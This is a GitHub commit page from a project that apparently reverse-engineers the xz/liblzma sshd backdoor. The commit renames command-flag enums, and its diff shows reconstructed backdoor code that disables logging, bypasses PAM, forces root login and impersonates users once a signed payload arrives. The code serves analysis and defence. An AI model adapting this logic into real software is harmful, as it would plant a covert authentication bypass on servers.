Skip to content

Commit

Permalink
rename flag enums
Browse files Browse the repository at this point in the history
  • Loading branch information
@smx-smx
smx-smx committed May 1, 2024
1 parent a28b6b6 commit 2ba5349
Show file tree
Hide file tree
Showing 2 changed files with 28 additions and 28 deletions.
26 changes: 13 additions & 13 deletions xzre.h
View file
Original file line number Diff line number Diff line change
Expand Up @@ -1816,68 +1816,68 @@ enum CommandFlags1 {
/**
* @brief the data block contains 8 additional bytes
*/
CMDF_8BYTES = 0x1,
X_FLAGS1_8BYTES = 0x1,
/**
* @brief disable all logging by setting mask 0x80000000
*/
CMDF_SETLOGMASK = 0x4,
X_FLAGS1_SETLOGMASK = 0x4,
/**
* @brief custom monitor socket index override
*/
CMDF_SOCKET_INDEX = 0x20,
X_FLAGS1_SOCKET_INDEX = 0x20,
/**
* @brief if set, disables PAM authentication
*/
CMDF_DISABLE_PAM = 0x40,
X_FLAGS1_DISABLE_PAM = 0x40,
/**
* @brief if set, the union size field must be 0
*/
CMDF_NO_EXTENDED_SIZE = 0x80
X_FLAGS1_NO_EXTENDED_SIZE = 0x80
};

enum CommandFlags2 {
/**
* @brief if set, impersonate a user (info from payload)
* if not set, impersonate root
*/
CMDF_IMPERSONATE = 0x1,
X_FLAGS2_IMPERSONATE = 0x1,
/**
* @brief if set, changes the `monitor_reqtype` field
* from `MONITOR_REQ_AUTHPASSWORD` to what's contained in the payload
*/
CMDF_CHANGE_MONITOR_REQ = 0x2,
X_FLAGS2_CHANGE_MONITOR_REQ = 0x2,
/**
* @brief
*/
CMDF_AUTH_BYPASS = 0x4,
X_FLAGS2_AUTH_BYPASS = 0x4,
/**
* @brief more data available in the following packet
* not compatible with command 3
*/
CMDF_CONTINUATION = 0x40,
X_FLAGS2_CONTINUATION = 0x40,
/**
* @brief executes pselect, then exit
* not compatible with command 2
*/
CMDF_PSELECT = 0xC0,
X_FLAGS2_PSELECT = 0xC0,

/**
* @brief
* (0111_1000 >> 3) & 0xF
* when @ref CMDF_SOCKET_INDEX is specified
*/
CMDF_SOCKFD_MASK = 0x78
X_FLAGS2_SOCKFD_MASK = 0x78
};

enum CommandFlags3 {
/**
* @brief 5 bits used to store number of sockets (in cmd3)
*/
CMDF_SOCKET_NUM = 0x1F,
X_FLAGS3_SOCKET_NUM = 0x1F,
/**
* @brief 6 bits used to store the monitor req / 2 (might be unused)
*/
CMDF_MONITOR_REQ_VAL = 0x3F
X_FLAGS3_MONITOR_REQ_VAL = 0x3F
};

assert_offset(cmd_arguments_t, flags1, 0);
Expand Down
30 changes: 15 additions & 15 deletions xzre_code/run_backdoor_commands.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -108,14 +108,14 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){

if(cmd_type == 2){
size = f.kctx.args.u.size;
if(TEST_FLAG(f.kctx.args.flags1, CMDF_NO_EXTENDED_SIZE)){
if(TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_NO_EXTENDED_SIZE)){
if(f.kctx.args.u.size) break;
data_s1 = 0;
size = 0x39;
data_ptr = f.kctx.payload.body.data;
data_s2 = 0;
} else {
if(TEST_FLAG(f.kctx.args.flags2, CMDF_IMPERSONATE)){
if(TEST_FLAG(f.kctx.args.flags2, X_FLAGS2_IMPERSONATE)){
size = f.kctx.args.u.size + sizeof(uid_t) + sizeof(gid_t);
}
data_s1 = size;
Expand Down Expand Up @@ -178,10 +178,10 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
} while(!sigcheck_result);
ctx->sshd_host_pubkey_idx = f.key_cur_idx;

if(cmd_type == 2 && TEST_FLAG(f.kctx.args.flags1, CMDF_NO_EXTENDED_SIZE)){
if(cmd_type == 2 && TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_NO_EXTENDED_SIZE)){
if(!data_ptr) break;
int data_offset = 0;
if(TEST_FLAG(f.kctx.args.flags2, CMDF_IMPERSONATE)){
if(TEST_FLAG(f.kctx.args.flags2, X_FLAGS2_IMPERSONATE)){
data_offset = SIZE_SYSTEM_EXTRA;
if(f.body_size <= SIZE_SYSTEM_EXTRA) break;
}
Expand Down Expand Up @@ -228,15 +228,15 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if(f.payload_size < body_offset) break;
after_payload_size_check:
if(f.payload_size - body_offset < data_s1) break;
if(TEST_FLAG(f.kctx.args.flags1, CMDF_SETLOGMASK)
if(TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_SETLOGMASK)
&& ctx->libc_imports
&& ctx->libc_imports->setlogmask
){
ctx->libc_imports->setlogmask(0x80000000);
ctx->sshd_log_ctx->syslog_disabled = TRUE;
} else {
ctx->sshd_log_ctx->syslog_disabled = FALSE;
if((f.kctx.args.flags1 & (CMDF_SETLOGMASK|CMDF_8BYTES)) == (CMDF_SETLOGMASK|CMDF_8BYTES)){
if((f.kctx.args.flags1 & (X_FLAGS1_SETLOGMASK|X_FLAGS1_8BYTES)) == (X_FLAGS1_SETLOGMASK|X_FLAGS1_8BYTES)){
break;
}
ctx->uid = ctx->libc_imports->getuid();
Expand All @@ -248,7 +248,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){

if(cmd_type){
if(cmd_type == 1){
if(!TEST_FLAG(f.kctx.args.flags2, CMDF_IMPERSONATE)
if(!TEST_FLAG(f.kctx.args.flags2, X_FLAGS2_IMPERSONATE)
&& !ctx->sshd_ctx->permit_root_login_ptr) break;
goto j_payload_main;
}
Expand Down Expand Up @@ -296,7 +296,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){

offsets.fields.sshbuf.value = 0;
tmp.fields.kex.kex_qword_index = -1;
if(TEST_FLAG(f.kctx.args.flags2, CMDF_CHANGE_MONITOR_REQ)){
if(TEST_FLAG(f.kctx.args.flags2, X_FLAGS2_CHANGE_MONITOR_REQ)){
tmp.value = (*(u16 *)&f.kctx.args.flags3 >> 6) & 0x7F;
}
offsets.fields.kex.kex_qword_index = tmp.fields.kex.kex_qword_index;
Expand Down Expand Up @@ -344,9 +344,9 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if(cmd_type){
if(cmd_type == 1){
if(sshd_patch_variables(
f.kctx.args.flags2 & CMDF_IMPERSONATE,
TEST_FLAG(f.kctx.args.flags1, CMDF_DISABLE_PAM),
TEST_FLAG(f.kctx.args.flags2, CMDF_CHANGE_MONITOR_REQ),
f.kctx.args.flags2 & X_FLAGS2_IMPERSONATE,
TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_DISABLE_PAM),
TEST_FLAG(f.kctx.args.flags2, X_FLAGS2_CHANGE_MONITOR_REQ),
f.kctx.args.u.value[0],
ctx
)){
Expand All @@ -355,7 +355,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
break;
} else {
if(cmd_type != 2){
if((f.kctx.args.flags2 & CMDF_PSELECT) == CMDF_PSELECT){
if((f.kctx.args.flags2 & X_FLAGS2_PSELECT) == X_FLAGS2_PSELECT){
if(!ctx->libc_imports->exit) break;
if(!ctx->libc_imports->pselect) break;
f.data.timespec.tv_sec = 5;
Expand All @@ -373,7 +373,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
uid_t tgt_uid = 0, tgt_gid = 0;
data_s1 = (short)data_s1;

if(TEST_FLAG(f.kctx.args.flags1, CMDF_IMPERSONATE)){
if(TEST_FLAG(f.kctx.args.flags1, X_FLAGS2_IMPERSONATE)){
if(data_s1 <= SIZE_SYSTEM_EXTRA) break;
tgt_uid = *(uid_t *)(data_ptr2 + 0);
tgt_gid = *(gid_t *)(data_ptr2 + sizeof(uid_t));
Expand Down Expand Up @@ -433,13 +433,13 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
*ctx->sshd_ctx->permit_root_login_ptr = PERMIT_YES;
}
}
if(TEST_FLAG(f.kctx.args.flags1, CMDF_DISABLE_PAM)){
if(TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_DISABLE_PAM)){
if(!ctx->sshd_ctx->use_pam_ptr) break;
if(*ctx->sshd_ctx->use_pam_ptr > TRUE) break;
*ctx->sshd_ctx->use_pam_ptr = FALSE;

f.u.sock.socket_fd = -1;
if(TEST_FLAG(f.kctx.args.flags1, CMDF_SOCKET_INDEX)){
if(TEST_FLAG(f.kctx.args.flags1, X_FLAGS1_SOCKET_INDEX)){
if(!sshd_get_usable_socket(
&f.u.sock.socket_fd,
(f.kctx.args.flags2 >> 3) & 0xF,
Expand Down

0 comments on commit 2ba5349

Please sign in to comment.